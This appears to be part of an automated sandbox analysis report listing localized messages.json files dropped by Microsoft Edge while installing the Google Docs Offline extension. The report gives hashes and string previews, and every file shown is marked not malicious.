SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
